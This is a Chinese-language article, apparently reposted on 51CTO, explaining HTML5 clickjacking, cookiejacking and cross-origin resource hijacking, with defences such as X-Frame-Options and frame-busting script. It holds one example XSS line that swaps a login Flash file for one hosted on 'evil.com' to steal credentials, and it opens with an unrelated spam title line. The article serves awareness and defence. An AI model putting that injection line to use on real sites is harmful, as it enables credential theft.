自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

HTML5安全風(fēng)險(xiǎn)詳析之五:劫持攻擊

安全 應(yīng)用安全
本文我們要講到一類(lèi)的HTML5安全問(wèn)題,也就是劫持的問(wèn)題。

下面我們要講到一類(lèi)的HTML5安全問(wèn)題,也就是劫持的問(wèn)題。

一、ClickJacking-點(diǎn)擊劫持

這種攻擊方式正變得越來(lái)越普遍。被攻擊的頁(yè)面作為iframe,用Mask的方式設(shè)置為透明放在上層,惡意代碼偷偷地放在后面的頁(yè)面中,使得一個(gè)頁(yè)面看起來(lái)似乎是安全的,然后誘騙用戶(hù)點(diǎn)擊網(wǎng)頁(yè)上的內(nèi)容,達(dá)到竊取用戶(hù)信息或者劫持用戶(hù)操作的目的。下圖中,欺詐的頁(yè)面放置在下層,被攻擊的銀行頁(yè)面作為透明的層放置在上層,用戶(hù)看到的是欺詐頁(yè)面上顯示的信息并進(jìn)行輸入和點(diǎn)擊,但是真正的用戶(hù)行為是發(fā)生在銀行頁(yè)面上的。

想象一下,點(diǎn)擊劫持可以誘使你發(fā)布一條虛假微博、或者發(fā)送一封虛假郵件甚至盜取你的個(gè)人信息。例如下圖可以誘使我們發(fā)布一條虛假的Twitter消息。

這里有一個(gè)測(cè)試工具clickjacktest可以檢測(cè)你的頁(yè)面是否有點(diǎn)擊劫持的風(fēng)險(xiǎn),你可以輸入一個(gè)網(wǎng)址并點(diǎn)擊Test,如果頁(yè)面可以正常顯示并加載,那么表示這個(gè)頁(yè)面存在被點(diǎn)擊劫持攻擊的風(fēng)險(xiǎn),如果頁(yè)面顯示為一片空白,那么表示頁(yè)面比較安全。

二、CookieJacking-Cookie劫持

ClickJacking只涉及點(diǎn)擊操作,但是HTML5的拖放API使得這種攻擊擴(kuò)大到拖放操作。因?yàn)楝F(xiàn)在Web應(yīng)用里,有大量需要用戶(hù)拖放完成的操作。在同源策略里,一個(gè)域的Cookie只能被本域所訪問(wèn),但是拖放操作是不受同源策略限制的,這樣利用拖放操作、XSS和其他技巧,可以構(gòu)造跨域合法請(qǐng)求,劫持Cookie。

把Cookie從一個(gè)域拖拽到另外一個(gè)域里

實(shí)現(xiàn)原理其實(shí)和ClickJacking類(lèi)似,只要欺騙用戶(hù)進(jìn)行拖放行為,就可以把用戶(hù)某個(gè)域的信息發(fā)送到另外一個(gè)域里。這個(gè)其實(shí)很容易做到,之前有一個(gè)研究者就在Facebook上建立了一個(gè)應(yīng)用,這個(gè)應(yīng)用的功能是讓用戶(hù)把圖片上美女的衣服拖拽下來(lái)。我想可能大多數(shù)人都會(huì)去嘗試而且不會(huì)有警惕心理。

[[58980]]

一個(gè)誘騙拖放的小游戲

我們應(yīng)當(dāng)如何防止ClickJacking、CookieJacking呢?

1、X-Frame-Options:所有的現(xiàn)代瀏覽器都支持X-Frame-Options HTTP頭,這個(gè)頭允許頁(yè)面被iframe使用時(shí)是否正常渲染。下圖中的頁(yè)面就是當(dāng)X-Frame-Options生效時(shí)的效果。

2、Javascript方式

這種方式非常常見(jiàn),具體代碼就是:

  1. 01.if (top !==window)    
  2. 02.        top.location = window.location.href;  

Facebook和Twitter都使用了這種方式,但是這種方式并不是完全奏效的,例如攻擊者可以使用204轉(zhuǎn)向或者禁用Javascript的方式來(lái)繞過(guò)(例如iframe沙箱)。

不過(guò)現(xiàn)在至少80%以上的網(wǎng)站都沒(méi)有注意到點(diǎn)擊劫持和cookie劫持的問(wèn)題并加以保護(hù)。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對(duì)性的進(jìn)行防御。

三、CORJacking-跨域資源劫持

CORJacking是指跨源資源劫持。HTML5應(yīng)用有各種不同的資源,例如Flash文件,Silverligh,視頻,音頻等,這些資源可以通過(guò)DOM訪問(wèn)和控制。如果頁(yè)面存在XSS漏洞,那么攻擊者可能通過(guò)跨域資源的劫持進(jìn)行攻擊。例如下面的代碼載入了一個(gè)swf文件,作為用戶(hù)登錄框,這里面我們可以實(shí)現(xiàn)一些加密的邏輯。

  1. 01.<object classid=“clsid:xxxxxxx-xxxx-xxxx-xxxxxx” id=“Login” width=“100%”height=“100%” codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab>    
  2. 02.              <param name=“movie”value=“Login.swf” />    
  3. 03.              <param name=“quality”value=“high” />    
  4. 04.              <embed src=“Login.swf”quality=“high” width=“50%” height=“50%”>    
  5. 05.</object>  

當(dāng)頁(yè)面存在XSS漏洞時(shí),攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。

  1. document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;  

那么當(dāng)用戶(hù)在這樣的登錄框里輸入自己的用戶(hù)名和密碼并登錄時(shí),他的帳號(hào)就已經(jīng)被盜取了。

這個(gè)問(wèn)題在不同瀏覽器里面表現(xiàn)是不一致的,有興趣的朋友可以下去自行測(cè)試。

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 博客
相關(guān)推薦

2013-01-04 13:39:51

2013-01-04 13:14:22

2013-01-04 11:22:12

2013-01-04 11:40:54

2013-01-04 11:38:35

2013-01-04 13:54:49

2013-01-21 11:04:38

2013-01-21 13:52:47

2010-09-09 20:11:39

2014-08-26 10:43:52

2016-03-16 09:47:55

2011-05-13 17:36:05

HTML

2013-06-27 14:33:00

2013-08-14 09:57:53

2012-05-30 09:34:57

2015-05-22 10:06:58

2012-06-05 10:48:23

2016-10-10 13:51:42

2014-08-26 10:54:20

2015-05-11 09:43:07

路由traceroute
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)